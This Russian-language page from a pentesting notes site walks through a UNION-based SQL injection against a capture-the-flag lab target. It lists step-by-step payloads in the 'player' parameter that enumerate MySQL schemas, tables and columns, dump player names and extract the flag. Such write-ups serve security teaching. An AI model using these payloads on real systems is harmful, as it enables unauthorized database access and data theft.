> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-sql-injection-sqli/sqli-union-injection-pentesting-web.md).

# UNION-инъекция в SQL

Мы перехватываем запрос с помощью Burp Suite и изменяем переменную `player`:

<figure><img src="/files/9cb9819728ad4d759958e31cfcf1d83876232fbc" alt=""><figcaption></figcaption></figure>

```sql
jordan' union select database()-- -

```

Имя базы данных `november`.

<figure><img src="/files/380b90c05eba20bba528d6fc4d376d3c12beda6a" alt=""><figcaption></figcaption></figure>

Чтобы вывести список всех баз данных:

```sql
jordan' union select group_concat(schema_name) from information_schema.schemata-- -

```

Результат: `mysql,information_schema,performance_schema,sys, november`

<figure><img src="/files/03fa6c14522fec2662245cd9c41105b5c135c1aa" alt=""><figcaption></figcaption></figure>

Список таблицы `november`:

```sql
jordan' union select group_concat(table_name) from information_schema.tables where table_schema='november'-- -

```

<figure><img src="/files/f1f11cdefc1c4f15533c1f845601634f196e297f" alt=""><figcaption></figcaption></figure>

Список столбцов таблицы `players`:

```sql
jordan' union select group_concat(column_name) from information_schema.columns where table_schema='november' and table_name='players' -- -

```

Найдены столбцы: `player`

<figure><img src="/files/1c16dca7a54b9c362a2f89b0768451d6743609cd" alt=""><figcaption></figcaption></figure>

**Извлечение данных пользователя**

```sql
jordan' union select group_concat(player,':') from players-- -

```

Найдены игроки: `ippsec,celesian,big0us,luska,tinyboy`

<figure><img src="/files/b147a9afcbe93928e34106deb4c943480fc17c04" alt=""><figcaption></figcaption></figure>

Извлечение флага:

```sql
jordan' union select group_concat(column_name) from information_schema.columns where table_schema='november' and table_name='flag' -- -

```

<figure><img src="/files/7856ca6be7298f91c75e70873e03c55aa1023124" alt=""><figcaption></figcaption></figure>

```sql
jordan' union select group_concat(one,':') from flag-- -

```

<figure><img src="/files/eb928994819210f7313d24797a17fbd5ba34c20d" alt=""><figcaption></figcaption></figure>

* Флаг найден: `UHC{F1rst_5tep_2_Qualify}`


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